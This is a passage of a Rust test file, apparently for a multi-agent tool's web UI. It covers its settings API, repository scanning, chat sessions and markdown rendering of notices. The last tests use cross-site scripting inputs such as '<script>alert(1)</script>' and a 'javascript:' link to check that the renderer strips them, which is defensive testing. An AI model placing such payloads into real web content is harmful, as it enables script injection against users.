12979 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
12980 toml::Value::String(root.display().to_string())
12981 );
12982 std::fs::write(&machine, &machine_text).unwrap();
12983 let originals: Vec<_> = [&repo, &selected, &broken]
12984 .iter()
12985 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
12986 .collect();
12987 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
12988 let default = f.get("/api/settings").await.json();
12989 assert_eq!(
12990 default["repo"],
12991 repo.canonicalize().unwrap().display().to_string()
12992 );
12993 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
12994 let query = format!("?repo={}", selected.display());
12995 let res = f.get(&format!("/api/settings{query}")).await;
12996 assert_eq!(res.status, 200, "{}", res.body);
12997 let v = res.json();
12998 assert!(v["error"].is_null(), "{v}");
12999 assert_eq!(v["repositories"], default["repositories"]);
13000 let role = |key: &str| {
13001 v["roles"]
13002 .as_array()
13003 .unwrap()
13004 .iter()
13005 .find(|r| r["key"] == key)
13006 .unwrap()
13007 };
13008 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
13009 assert_eq!(role("advisors")["source"], "repo");
13010 assert_eq!(role("advisors")["editable"], false);
13011 assert!(role("advisors")["machine_value"].is_null());
13012 assert_eq!(role("judges")["count"]["value"], 2);
13013 assert_eq!(role("judges")["count"]["machine_value"], 1);
13014 assert_eq!(role("judges")["count"]["source"], "repo");
13015 let source = role("judges")["count"]["source_path"].as_str().unwrap();
13016 assert!(
13017 source.contains("origin/main") && !source.contains("magi/config/"),
13018 "{source}"
13019 );
13020 assert_eq!(
13021 role("reviewers")["editable"],
13022 false,
13023 "default context outside roots must protect its declarations"
13024 );
13025 let body =
13026 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
13027 let unknown = format!("?repo={}", tmp.path().display());
13028 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
13029 assert_eq!(
13030 f.put(&format!("/api/settings/roles{unknown}"), &body)
13031 .await
13032 .status,
13033 422
13034 );
13035 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
13036 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
13037 .to_string();
13038 assert_eq!(
13039 f.put(&format!("/api/settings/roles{query}"), &refuse)
13040 .await
13041 .status,
13042 422
13043 );
13044 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
13045 assert_eq!(saved.status, 200, "{}", saved.body);
13046 assert_eq!(saved.json()["repo"], v["repo"]);
13047 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13048 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13049 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
13050 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
13051 }
13052 let error = f
13053 .get(&format!("/api/settings?repo={}", broken.display()))
13054 .await;
13055 assert_eq!(error.status, 200);
13056 assert!(error.json()["error"]["message"].is_string());
13057 assert_eq!(error.json()["repositories"], default["repositories"]);
13058 }
13059
13060 #[tokio::test]
13061 async fn settings_get_reports_sources_and_the_advisors_fallback() {
13062 let (_tmp, repo, machine) =
13063 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
13064 let f = Fixture::with_repo_and_machine(repo, machine).await;
13065 let res = f.get("/api/settings").await;
13066 assert_eq!(res.status, 200, "{}", res.body);
13067 let v = res.json();
13068 assert!(v["error"].is_null(), "{v}");
13069 let role = |k: &str| {
13070 v["roles"]
13071 .as_array()
13072 .and_then(|r| r.iter().find(|x| x["key"] == k))
13073 .cloned()
13074 .unwrap_or_else(|| panic!("no role {k}: {v}"))
13075 };
13076 assert_eq!(role("judges")["source"], "machine");
13077 assert_eq!(role("judges")["editable"], true);
13078 assert_eq!(role("implementers")["source"], "default");
13079 let adv = role("advisors");
13080 assert_eq!(adv["fallback"], "judges");
13081 assert!(
13082 adv["seats"]
13083 .as_array()
13084 .is_some_and(|s| s.iter().all(|x| x == "b")),
13085 "{adv}"
13086 );
13087 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
13088 assert_eq!(v["agents"][0]["source"], "repo");
13089 }
13090
13091 #[tokio::test]
13092 async fn settings_get_reports_a_config_that_does_not_parse() {
13093 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
13094 let f = Fixture::with_repo_and_machine(repo, machine).await;
13095 let res = f.get("/api/settings").await;
13096 assert_eq!(res.status, 200, "{}", res.body);
13097 let v = res.json();
13098 assert!(v["error"]["message"].is_string(), "{v}");
13099 assert!(
13100 v["error"]["path"]
13101 .as_str()
13102 .is_some_and(|p| p.ends_with("magi.toml")),
13103 "{v}"
13104 );
13105 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
13106 }
13107
13108 #[tokio::test]
13109 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
13110 let (_tmp, repo, machine) = settings_dirs(
13111 SETTINGS_AGENTS,
13112 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
13113 );
13114 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
13115 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13116 let rev = f.get("/api/settings").await.json()["revision"]
13117 .as_str()
13118 .expect("revision")
13119 .to_owned();
13120 let body = serde_json::json!({
13121 "revision": rev,
13122 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
13123 })
13124 .to_string();
13125 let res = f.put("/api/settings/roles", &body).await;
13126 assert_eq!(res.status, 200, "{}", res.body);
13127 let text = std::fs::read_to_string(&machine).expect("machine");
13128 assert_eq!(
13129 text,
13130 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
13131 );
13132 assert_eq!(
13133 std::fs::read(repo.join("magi.toml")).expect("read"),
13134 repo_before
13135 );
13136 let again = f.get("/api/settings").await.json();
13137 let judges = again["roles"]
13138 .as_array()
13139 .expect("roles")
13140 .iter()
13141 .find(|r| r["key"] == "judges")
13142 .expect("judges")
13143 .clone();
13144 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
13145 let stale = f.put("/api/settings/roles", &body).await;
13147 assert_eq!(stale.status, 409, "{}", stale.body);
13148 }
13149
13150 #[tokio::test]
13151 async fn settings_counts_are_reported_and_saved() {
13152 let (_tmp, repo, machine) = settings_dirs(
13153 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
13154 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
13155 );
13156 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13157 let v = f.get("/api/settings").await.json();
13158 let count = |v: &serde_json::Value, k: &str| {
13159 v["roles"]
13160 .as_array()
13161 .and_then(|r| r.iter().find(|x| x["key"] == k))
13162 .map(|x| x["count"].clone())
13163 .unwrap_or_else(|| panic!("no role {k}: {v}"))
13164 };
13165 let imp = count(&v, "implementers");
13166 assert_eq!(imp["value"], 2);
13167 assert_eq!(imp["source"], "machine");
13168 assert_eq!(imp["file_key"], "candidates");
13169 assert_eq!(imp["roster_len"], 2);
13170 assert_eq!(imp["backups"], 0);
13171 assert_eq!(count(&v, "judges")["source"], "default");
13172 assert_eq!(count(&v, "advisors")["min"], 0);
13173 assert_eq!(count(&v, "reviewers")["editable"], false);
13174 assert!(
13175 count(&v, "reviewers")["locked_reason"]
13176 .as_str()
13177 .is_some_and(|m| m.contains("graph.reviewers"))
13178 );
13179 assert!(count(&v, "fixer").is_null());
13180 let rev = v["revision"].as_str().expect("revision").to_owned();
13181 let body = serde_json::json!({
13182 "revision": rev,
13183 "roles": { "judges": ["b"] },
13184 "counts": { "implementers": 1, "advisors": 0 }
13185 })
13186 .to_string();
13187 let res = f.put("/api/settings/roles", &body).await;
13188 assert_eq!(res.status, 200, "{}", res.body);
13189 let text = std::fs::read_to_string(&machine).expect("machine");
13190 assert_eq!(
13191 text,
13192 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
13193 );
13194 let after = f.get("/api/settings").await.json();
13195 assert_eq!(count(&after, "implementers")["value"], 1);
13196 assert_eq!(count(&after, "implementers")["backups"], 1);
13197 assert_eq!(count(&after, "advisors")["value"], 0);
13198 let before = std::fs::read_to_string(&machine).expect("machine");
13199 let rev = after["revision"].as_str().expect("revision").to_owned();
13200 for counts in [
13201 serde_json::json!({ "judges": 0 }),
13202 serde_json::json!({ "judges": "x" }),
13203 serde_json::json!({ "judges": 2.5 }),
13204 serde_json::json!({ "judges": -1 }),
13205 serde_json::json!({ "reviewers": 3 }),
13206 serde_json::json!({ "bogus": 3 }),
13207 ] {
13208 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
13209 let res = f.put("/api/settings/roles", &body).await;
13210 assert_eq!(res.status, 422, "{counts}: {}", res.body);
13211 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
13212 }
13213 }
13214
13215 #[tokio::test]
13216 async fn settings_put_refuses_without_touching_the_file() {
13217 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
13218 let (_tmp, repo, machine) = settings_dirs(
13219 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
13220 Some(machine_text),
13221 );
13222 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
13223 let rev = f.get("/api/settings").await.json()["revision"]
13224 .as_str()
13225 .expect("revision")
13226 .to_owned();
13227 for roles in [
13228 serde_json::json!({ "judges": ["nope"] }),
13229 serde_json::json!({ "reviewers": ["b"] }),
13230 serde_json::json!({ "bogus": ["a"] }),
13231 ] {
13232 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
13233 let res = f.put("/api/settings/roles", &body).await;
13234 assert_eq!(res.status, 422, "{roles}: {}", res.body);
13235 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
13236 assert_eq!(
13237 std::fs::read_to_string(&machine).expect("machine"),
13238 machine_text
13239 );
13240 }
13241 }
13242
13243 #[tokio::test]
13244 async fn repos_list_returns_name_and_path_for_every_configured_root() {
13245 let tmp = TempDir::new().expect("tempdir");
13246 let repo = tmp.path().join("repo");
13247 std::fs::create_dir_all(&repo).expect("repo dir");
13248 let root = tmp.path().join("root");
13249 make_checkout(&root, "github.com", "yukimemi", "magi");
13250 std::fs::write(
13251 repo.join("magi.toml"),
13252 format!(
13253 "[repos]\nroots = [{:?}]\n",
13254 root.to_string_lossy().into_owned()
13255 ),
13256 )
13257 .expect("write magi.toml");
13258
13259 let f = Fixture::with_repo(repo).await;
13260 let res = f.get("/api/repos").await;
13261 assert_eq!(res.status, 200, "{}", res.body);
13262 let list = res.json();
13263 let repos = list.as_array().expect("an array");
13264 assert_eq!(repos.len(), 1);
13265 assert_eq!(repos[0]["name"], "yukimemi/magi");
13266 assert!(
13267 repos[0]["path"]
13268 .as_str()
13269 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
13270 "{list}"
13271 );
13272 }
13273
13274 #[tokio::test]
13275 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
13276 let tmp = TempDir::new().expect("tempdir");
13277 let repo = tmp.path().join("repo");
13278 std::fs::create_dir_all(&repo).expect("repo dir");
13279 let root = tmp.path().join("root");
13280 make_checkout(&root, "github.com", "yukimemi", "magi");
13281 std::fs::write(
13282 repo.join("magi.toml"),
13283 format!(
13284 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13285 root.to_string_lossy().into_owned()
13286 ),
13287 )
13288 .expect("write magi.toml");
13289
13290 let f = Fixture::with_repo(repo).await;
13291 let first = f.get("/api/repos").await;
13292 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13293
13294 make_checkout(&root, "github.com", "yukimemi", "rvpm");
13297 let second = f.get("/api/repos").await;
13298 assert_eq!(
13299 second.json().as_array().map(Vec::len),
13300 Some(1),
13301 "a fresh cache must not rescan inside the TTL"
13302 );
13303
13304 let refreshed = f.get("/api/repos?refresh=1").await;
13305 assert_eq!(
13306 refreshed.json().as_array().map(Vec::len),
13307 Some(2),
13308 "an explicit refresh must rescan even inside the TTL"
13309 );
13310 }
13311
13312 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13318
13319 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13323 let tmp = TempDir::new().expect("tempdir");
13324 let repo = tmp.path().join("repo");
13325 std::fs::create_dir_all(&repo).expect("repo dir");
13326 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13327 let f = Fixture::with_repo(repo.clone()).await;
13328 (tmp, repo, f)
13329 }
13330
13331 #[tokio::test]
13332 async fn posting_a_talk_with_remembered_choices_is_soft() {
13333 let (_tmp, _repo, f) = talk_fixture().await;
13334
13335 let good = f
13336 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13337 .await;
13338 assert_eq!(good.status, 201, "{}", good.body);
13339 assert_eq!(good.json()["persona"], "rei");
13340
13341 let stale = f
13343 .post(
13344 "/api/talks",
13345 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13346 )
13347 .await;
13348 assert_eq!(stale.status, 201, "{}", stale.body);
13349 let v = stale.json();
13350 assert_eq!(v["implementers"], 1);
13351 assert_ne!(v["persona"], "nobody");
13352 let typed = f
13353 .post(
13354 "/api/talks",
13355 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
13356 )
13357 .await;
13358 assert_eq!(typed.status, 201, "{}", typed.body);
13359
13360 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
13362 assert!(
13363 !strict.status.to_string().starts_with('2'),
13364 "{}",
13365 strict.body
13366 );
13367 }
13368
13369 #[tokio::test]
13370 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
13371 let (_tmp, _repo, f) = talk_fixture().await;
13372
13373 let opened = f.post("/api/talks", None).await;
13376 assert_eq!(opened.status, 201, "{}", opened.body);
13377 let body = opened.json();
13378 assert_eq!(body["status"], "open");
13379 assert_eq!(
13380 body["turns"].as_array().unwrap().len(),
13381 0,
13382 "opening takes no agent turn: there is nothing yet to answer"
13383 );
13384
13385 let also_opened = f.post("/api/talks", Some("{}")).await;
13387 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
13388
13389 let listed = f.get("/api/talks").await.json();
13390 assert_eq!(listed.as_array().unwrap().len(), 2);
13391 }
13392
13393 #[tokio::test]
13394 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
13395 let tmp = TempDir::new().expect("tempdir");
13396 let repo = tmp.path().join("repo");
13397 std::fs::create_dir_all(&repo).expect("repo dir");
13398 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
13399 std::fs::write(
13400 repo.join("magi.toml"),
13401 format!("{MOCK_AGENT_TOML}\n{second}"),
13402 )
13403 .expect("write magi.toml");
13404 let home = TempDir::new().expect("temp home");
13405 let talks = Talks::at(home.path().join("talks"));
13406 let ui = Arc::new(
13407 Ui::new(
13408 Queue::at(home.path().join("queue")),
13409 Questions::at(home.path().join("questions")),
13410 talks.clone(),
13411 home.path().join("runs"),
13412 home.path().to_path_buf(),
13413 repo.clone(),
13414 )
13415 .with_worktrees_root(home.path().join("wt")),
13416 );
13417 let cfg = config_for(&repo).await.expect("discover config");
13418 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13419 let id = talk.id.clone();
13420 let call = |agent: &str| {
13421 talk_agent(
13422 State(Arc::clone(&ui)),
13423 Path(id.clone()),
13424 Json(TalkAgent {
13425 agent: agent.to_owned(),
13426 }),
13427 )
13428 };
13429
13430 let unknown = call("nobody").await.expect_err("unknown agent");
13431 assert_eq!(
13432 unknown.status,
13433 StatusCode::BAD_REQUEST,
13434 "{}",
13435 unknown.message
13436 );
13437
13438 {
13439 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13442 let busy = call("second").await.expect_err("busy talk");
13443 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13444 assert!(
13445 busy.message.contains("a talk turn is running"),
13446 "{}",
13447 busy.message
13448 );
13449 drop(guard);
13450 }
13451 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
13452
13453 let Json(view) = call("second").await.expect("switch");
13454 assert_eq!(view.talk.agent, "second");
13455 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
13456 let saved = talks.get(&id).expect("reload");
13457 assert_eq!(saved.agent, "second");
13458 assert_eq!(saved.turns.len(), 1);
13459 assert!(!view.thinking);
13460 assert!(!ui.is_thinking(&id), "idle response must release the claim");
13461 for agent in ["mock", "second"] {
13462 let Json(view) = call(agent).await.expect("immediate consecutive change");
13463 assert_eq!(view.talk.agent, agent);
13464 assert!(!view.thinking);
13465 assert!(!ui.is_thinking(&id));
13466 }
13467
13468 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13469 .await
13470 .expect("detail");
13471 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
13472 assert_eq!(roster, ["mock", "second"]);
13473
13474 let mut closed = talks.get(&id).expect("reload");
13475 talk::close(&mut closed, &talks).expect("close");
13476 let refused = call("mock").await.expect_err("closed talk");
13477 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13478 assert!(
13479 refused.message.contains("takes no more turns"),
13480 "{}",
13481 refused.message
13482 );
13483 }
13484
13485 #[tokio::test]
13486 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
13487 let tmp = TempDir::new().expect("tempdir");
13488 let repo = tmp.path().join("repo");
13489 std::fs::create_dir_all(&repo).expect("repo dir");
13490 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13491 let home = TempDir::new().expect("temp home");
13492 let talks = Talks::at(home.path().join("talks"));
13493 let ui = Arc::new(
13494 Ui::new(
13495 Queue::at(home.path().join("queue")),
13496 Questions::at(home.path().join("questions")),
13497 talks.clone(),
13498 home.path().join("runs"),
13499 home.path().to_path_buf(),
13500 repo.clone(),
13501 )
13502 .with_worktrees_root(home.path().join("wt")),
13503 );
13504 let cfg = config_for(&repo).await.expect("discover config");
13505 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13506 let id = talk.id.clone();
13507 let call = |n: u8| {
13508 talk_implementers(
13509 State(Arc::clone(&ui)),
13510 Path(id.clone()),
13511 Json(TalkImplementers { implementers: n }),
13512 )
13513 };
13514
13515 for bad in [0u8, 4] {
13516 let e = call(bad).await.expect_err("out of range");
13517 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
13518 }
13519 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
13520
13521 {
13522 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13525 let busy = call(2).await.expect_err("busy talk");
13526 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13527 assert!(
13528 busy.message.contains("a talk turn is running"),
13529 "{}",
13530 busy.message
13531 );
13532 drop(guard);
13533 }
13534
13535 let Json(view) = call(3).await.expect("switch");
13536 assert_eq!(view.talk.implementers, 3);
13537 assert!(talks.get(&id).expect("reload").implementers_dirty);
13538 assert!(!view.thinking);
13539 assert!(!ui.is_thinking(&id), "idle response must release the claim");
13540 for n in [1, 2, 3] {
13541 let Json(view) = call(n).await.expect("immediate consecutive change");
13542 assert_eq!(view.talk.implementers, n);
13543 assert!(!view.thinking);
13544 assert!(!ui.is_thinking(&id));
13545 }
13546
13547 let mut closed = talks.get(&id).expect("reload");
13548 talk::close(&mut closed, &talks).expect("close");
13549 let e = call(2).await.expect_err("closed talk");
13550 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
13551 assert!(e.message.contains("takes no more turns"), "{}", e.message);
13552 }
13553
13554 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
13556 let tmp = TempDir::new().expect("tempdir");
13557 let repo = tmp.path().join("repo");
13558 std::fs::create_dir_all(&repo).expect("repo dir");
13559 std::fs::write(
13560 repo.join("magi.toml"),
13561 format!("{MOCK_AGENT_TOML}\n{extra}"),
13562 )
13563 .expect("write magi.toml");
13564 let home = TempDir::new().expect("temp home");
13565 let talks = Talks::at(home.path().join("talks"));
13566 let ui = Arc::new(
13567 Ui::new(
13568 Queue::at(home.path().join("queue")),
13569 Questions::at(home.path().join("questions")),
13570 talks.clone(),
13571 home.path().join("runs"),
13572 home.path().to_path_buf(),
13573 repo.clone(),
13574 )
13575 .with_worktrees_root(home.path().join("wt")),
13576 );
13577 let cfg = config_for(&repo).await.expect("discover config");
13578 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13579 (tmp, home, ui, talk.id, repo)
13580 }
13581
13582 #[tokio::test]
13583 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
13584 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13585 let mut conversation = ui.talks.get(&id).unwrap();
13586 talk::record(
13587 &mut conversation,
13588 &ui.talks,
13589 "# Update on a task you filed\noperator words",
13590 vec![],
13591 )
13592 .unwrap();
13593 conversation.turns[0].sender = None;
13595 conversation.turns[0].messages.clear();
13596 ui.talks.put(&mut conversation).unwrap();
13597 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
13598 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
13599 talk::drain(&mut conversation, &ui.talks).unwrap();
13600 talk::record_reply(
13601 &mut conversation,
13602 &ui.talks,
13603 "about that report",
13604 vec![],
13605 Some(talk::ReplyTarget {
13606 turn: 1,
13607 message: 1,
13608 }),
13609 )
13610 .unwrap();
13611 conversation.turns[2].messages[0]
13612 .reply
13613 .as_mut()
13614 .unwrap()
13615 .sender = None;
13616 conversation.turns.push(talk::Turn {
13617 sender: Some(talk::Sender::Persona),
13618 who: talk::Who::Agent,
13619 body: "magi: actual persona words".into(),
13620 at: Timestamp::now(),
13621 attachments: vec![],
13622 usage: None,
13623 breaks: None,
13624 messages: vec![],
13625 posted_by: None,
13626 });
13627 ui.talks.put(&mut conversation).unwrap();
13628 let view = TalkView::with_config(
13629 ui.talks.get(&id).unwrap(),
13630 false,
13631 None,
13632 &ui.home,
13633 &ui.references,
13634 );
13635 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
13636 assert_eq!(
13637 view.talk.turns[1].messages[0].sender,
13638 Some(talk::Sender::Operator)
13639 );
13640 assert_eq!(
13641 view.talk.turns[1].messages[1].sender,
13642 Some(talk::Sender::Magi)
13643 );
13644 assert_eq!(
13645 view.talk.turns[2].messages[0]
13646 .reply
13647 .as_ref()
13648 .unwrap()
13649 .sender,
13650 Some(talk::Sender::Magi)
13651 );
13652 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
13653 assert_eq!(view.turn_messages_md[0].len(), 1);
13654 assert!(view.turn_messages_md[0][0].is_none());
13655 assert!(view.turn_messages_md[1][0].is_none());
13656 assert!(view.turn_messages_md[1][1].is_some());
13657 }
13658
13659 #[tokio::test]
13660 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
13661 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13662 let mut conversation = ui.talks.get(&id).unwrap();
13663 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
13664 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13665 talk::queue_notice(
13666 &mut conversation,
13667 &ui.talks,
13668 &body,
13669 "watch:123",
13670 &|_| false,
13671 None,
13672 display.clone(),
13673 )
13674 .unwrap();
13675 assert!(
13676 !talk::queue_notice(
13677 &mut conversation,
13678 &ui.talks,
13679 &body,
13680 "watch:123",
13681 &|_| false,
13682 None,
13683 display.clone()
13684 )
13685 .unwrap()
13686 );
13687 let saved = ui.talks.get(&id).unwrap();
13688 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
13689 let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
13690 assert!(
13691 view.talk.turns[0].messages[0].display.is_none(),
13692 "operator copy stays literal"
13693 );
13694 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
13695 assert!(view.turn_messages_md[0][0].is_none());
13696 let queued_md = view.pending_messages_md[0].clone();
13697 assert_eq!(
13698 queued_md,
13699 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
13700 );
13701 talk::drain(&mut conversation, &ui.talks).unwrap();
13702 talk::record_reply(
13703 &mut conversation,
13704 &ui.talks,
13705 "Explain",
13706 vec![],
13707 Some(talk::ReplyTarget {
13708 turn: 1,
13709 message: 0,
13710 }),
13711 )
13712 .unwrap();
13713 let mut saved = ui.talks.get(&id).unwrap();
13714 assert_eq!(saved.turns[1].messages[0].body, body);
13715 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
13716 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
13717 assert!(!reply.excerpt.contains("automatic report"));
13718 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
13721 let view = TalkView::with_config(
13722 ui.talks.get(&id).unwrap(),
13723 false,
13724 None,
13725 &ui.home,
13726 &ui.references,
13727 );
13728 assert_eq!(view.turn_messages_md[1][0], queued_md);
13729 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
13730 assert!(
13731 !view.talk.turns[2].messages[0]
13732 .reply
13733 .as_ref()
13734 .unwrap()
13735 .excerpt
13736 .contains("automatic report")
13737 );
13738 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
13739 }
13740
13741 #[tokio::test]
13742 async fn consultation_display_hides_directives_in_queue_and_history() {
13743 for node in [
13744 "implement",
13745 crate::land::APPROVAL_NODE,
13746 crate::github_text::ASK_NODE,
13747 ] {
13748 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13749 let mut question = Question::new(
13750 "run-123".into(),
13751 node.into(),
13752 "seat-1".into(),
13753 "Which backend?".into(),
13754 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
13755 vec!["SQLite".into(), "Redis".into()],
13756 );
13757 ui.questions.put(&mut question).unwrap();
13758 let body = crate::prompt::chat_consult(&question);
13759 let mut conversation = ui.talks.get(&id).unwrap();
13760 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13761 assert!(
13762 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
13763 );
13764 conversation = ui.talks.get(&id).unwrap();
13765 assert_eq!(conversation.pending_messages[0].body, body);
13766 assert!(body.contains("magi answer"));
13767 let mut legacy_pending = conversation.clone();
13768 legacy_pending.pending_messages[0].display = None;
13769 let legacy_view =
13770 TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
13771 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
13772 assert!(legacy_md.contains("Question consultation"));
13773 assert!(!legacy_md.contains("magi answer"));
13774 let view =
13775 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13776 assert!(
13777 view.turn_messages_md[0][0].is_none(),
13778 "operator copy stays literal"
13779 );
13780 let queued_md = view.pending_messages_md[0].clone().unwrap();
13781 let rendered = serde_json::to_string(&queued_md).unwrap();
13782 for visible in [
13783 "Which backend?",
13784 "Context",
13785 "storage",
13786 "SQLite",
13787 "Redis",
13788 "<script>literal</script>",
13789 ] {
13790 assert!(rendered.contains(visible), "missing {visible}");
13791 }
13792 for directive in [
13793 "What to do",
13794 "magi answer",
13795 "Never answer it yourself",
13796 "Do not edit the repository",
13797 ] {
13798 assert!(!rendered.contains(directive), "exposed {directive}");
13799 }
13800 assert_eq!(
13801 view.talk.pending_messages[0].display,
13802 Some(crate::prompt::chat_consult_display(&question))
13803 );
13804 talk::drain(&mut conversation, &ui.talks).unwrap();
13805 let view =
13806 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13807 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
13808 assert_eq!(conversation.turns[1].messages[0].body, body);
13809
13810 conversation.turns[1].messages[0].display = None;
13813 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13814 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
13815 assert!(legacy.contains("Question consultation"));
13816 assert!(!legacy.contains("magi answer"));
13817 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13818 }
13819 }
13820
13821 #[test]
13822 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
13823 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
13824 let (body, mut display) =
13825 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
13826 display.facts = facts.into();
13827 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
13828 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
13829 let json = serde_json::to_string(&nodes).unwrap();
13830 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
13831 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
13832 }
13833 assert!(json.contains("<script>alert(1)</script>"));
13834 assert!(!json.contains("javascript:"));
13835 assert!(!json.contains("Tell the operator"));
13836 assert!(!json.contains("untrusted"));
13837 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
13838 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
